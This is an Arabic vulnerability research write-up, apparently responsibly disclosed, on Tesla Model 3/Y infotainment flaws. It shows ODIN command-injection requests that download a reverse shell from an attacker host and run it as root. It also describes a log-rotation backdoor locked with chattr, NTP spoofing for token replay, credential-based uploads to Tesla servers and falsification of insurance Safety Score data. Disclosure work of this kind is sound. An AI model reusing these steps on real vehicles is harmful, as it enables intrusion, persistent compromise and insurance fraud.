
بحث في نقاط الضعف في أنظمة المعلومات والترفيه في Tesla Model 3/Y. 6 نقاط ضعف، 4 CVEs (CVE-2022-42005 إلى CVE-2022-42008). شل جذر، وصول مستمر، تزوير بيانات التأمين عن بُعد.
أبحاث الثغرات على نظام المعلومات والترفيه في تيسلا موديل 3/واي (معالج Intel Atom MCU، لينكس 4.14.235)، تم الإبلاغ عنها بشكل مسؤول إلى تيسلا عبر Bugcrowd.
تم الحصول على وصول جذر دائم على سيارة تيسلا موديل 3 إنتاجية من خلال ثغرة حقن أوامر في واجهة التشخيص ODIN الخاصة بتيسلا (CVE-2022-42008). ومن هناك، تم اكتشاف خمس ثغرات إضافية — بما في ذلك طريقة استمرار تنجو من تحديثات البرامج الثابتة (CVE-2022-42005، CVE-2022-42006) وطريقة لتزوير بيانات التأمين عن بُعد الخاصة بـ Safety Score والتي خفضت الأقساط الشهرية مباشرة من 130 دولارًا إلى 83 دولارًا.
ست ثغرات عبر ODIN وhermes وSafety Score. أربعة CVEs. تمت مكافأتها عبر Bugcrowd والتسجيل في برنامج باحث أمن SSH لتيسلا.
| الاكتشاف | CVE | التأثير | الحالة | المكافأة |
|---|---|---|---|---|
| شل جذر عبر ODIN | CVE-2022-42008 | شل جذر عبر حقن الأوامر | تم الإصلاح (2021.32.10) | مكافأة Bugcrowd |
| رموز ODIN المنتهية | CVE-2022-42007 | إعادة تشغيل الرمز عبر تزوير NTP | تم الإصلاح (2021.32.10) | مكافأة Bugcrowd |
| الرفع إلى Mothership | — | رفع ملف عشوائي إلى خوادم تيسلا | مُصنف كغير قابل للتطبيق | — |
| غلاف خلفي للسجلات + الوصول إلى DV | CVE-2022-42005, CVE-2022-42006 | وصول دائم ينجو من تحديثات البرامج الثابتة | تم الإصلاح | مكافأة Bugcrowd |
| تزوير بيانات التأمين عن بُعد | — | تزوير Safety Score يقلل أقساط التأمين | لم يتم تأكيد الإصلاح | — |
| إلغاء دمج ODIN | — | أي مهمة ODIN بدون مصادقة | لم يتم تأكيد الإصلاح | — |
نظام المعلومات والترفيه في تيسلا موديل 3/واي (معالج Intel Atom MCU) يعمل بنظام تشغيل يعتمد على لينكس مع عدة أسطح هجوم تم تحديدها خلال هذا البحث:
┌──────────────────────────────────────────────────────────┐
│ Tesla Model 3 MCU (Intel) │
│ │
│ ┌────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ ODIN │ │ QtCarServer │ │ hermes │ │
│ │ │ │ │ │ (proxy+client) │ │
│ │ CVE-42008 │ │ prototype_ │ │ │ │
│ │ (cmd inj) │ │ server │ │ Uploads to │ │
│ │ │ │ CVE-42006 │ │ Mothership │ │
│ │ Report 06 │ │ (data vals) │ │ [Report 03] │ │
│ │ (is-fused │ │ │ │ [Report 05] │ │
│ │ bypass) │ └──────────────┘ └────────┬─────────┘ │
│ └──────┬─────┘ │ │
│ │ ┌──────────────┐ │ │
│ │ │ svlogd │ │ │
│ │ │ Log Rotation │ │ │
│ │ │ CVE-42005 │ │ │
│ │ │ (persistence)│ │ │
│ │ └──────────────┘ │ │
└─────────┼───────────────────────────────────┼────────────┘
│ │
┌─────┴───────┐ ┌───────┴──────────┐
│ Toolbox │ │ Mothership │
│ API │ │ Server │
│ │ │ │
│ CVE-42007 │ │ File uploads │
│ (expired │ │ Telemetry data │
│ tokens) │ │ │
└─────────────┘ └──────────────────┘
التقارير الكاملة: شل جذر عبر ODIN | غلاف خلفي للسجلات + الوصول إلى DV
تتعرض واجهة التشخيص ODIN لمهمة تسمى TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK التي تقبل معاملاً MicTest-Input — قائمة من السلاسل النصية تُمرر مباشرة إلى CID_EXEC للتنفيذ كجذر. يمكن لأي مشترك بأدنى مستوى وصول في Toolbox (tbx-external) تشغيل هذه المهمة عن طريق الاتصال بمنفذ التشخيص في السيارة وإرسال طلب POST. يتم تنفيذ السلاسل النصية المدخلة حرفيًا، لذا الهجوم عبارة عن طلبين: أولاً، تحميل سكريبت شل عكسي إلى السيارة عبر curl:
{
"args": {
"kw": {
"MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
ثم تنفيذه:
{
"args": {
"kw": {
"MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
بعد إنشاء شل جذر، يتم تحقيق الوصول الدائم عن طريق اختطاف تكوين تدوير السجلات svlogd. يتم استبدال أمر ضغط gzip القياسي بسكريبت يفتح غلافًا خلفيًا تحت حساب log في كل مرة يتم فيها تدوير السجلات:
!sh /var/log/wpa_supplicant/gzip.sh -c
يتم جعل ملف التكوين غير قابل للتغيير باستخدام chattr +i، مما يضمن بقاءه بعد تحديثات البرامج الثابتة. بينما لا يمكن لحساب log استخدام الأمر القياسي sdv لتعيين قيم البيانات (يرفضه dbus)، فإن خادم prototype_server الخامل في تيسلا يوفر وصول websocket غير مقيد لجميع قيم البيانات عند تمكينه عبر settings.conf. مجموعة مخصصة من سكريبتات الشل (sdv، lv، send.sh) تحاكي عميل websocket للتفاعل مع هذا الخادم.
يتم التحكم في مجموعة أدوات الاستمرار الكاملة من خلال مربع إدخال رمز الوصول للسيارة (يظهر بالضغط المطول على نموذج السيارة على شاشة اللمس)، والذي تتم مراقبته بواسطة سكريبت المستمع الذي يوزع الأوامر — بما في ذلك فتح الأغلفة الخلفية، وتعيين قيم البيانات، وتبديل أوضاع الخدمة.
نقطة نهاية توليد رمز ODIN في تيسلا تقبل رموز tbx-tokens المنتهية — والأهم — تعيد أيضًا رمز tbx-token الخاص بالمستخدم في الاستجابة، مما يتيح تسرب الرمز من خلال المشاركة. عادةً ما ترفض السيارة رموز ODIN المنتهية، ولكن من خلال تزوير مصدر وقت NTP للسيارة باستخدام اعتراض قائم على ARP (ntpspoof.py)، يمكن خداع السيارة لقبول الرموز بعد تاريخ انتهاء صلاحيتها. تكتشف البوابة العبث بـ NTP (GTW_w149_rtcTimeSetInPast) ولكنها لا تتصرف بناءً على هذه الإشارة.
باستخدام شهادات السيارة من /var/lib/car_creds/، يمكن بدء تشغيل خدمة hermes_proxy على جهاز محلي، مما يوفر وصولًا مباشرًا إلى خادم Mothership الخاص بتيسلا. نقطة نهاية النسخ الاحتياطي للملف الشخصي (/vehicles/${VIN}/computer_profile) تقبل رفع ملفات عشوائية دون أي تحقق — أمر curl واحد يرفع أي ملف إلى البنية التحتية الإنتاجية لتيسلا. صنفت تيسلا هذا الاكتشاف بأنه غير قابل للتطبيق ("يعمل كما هو مقصود").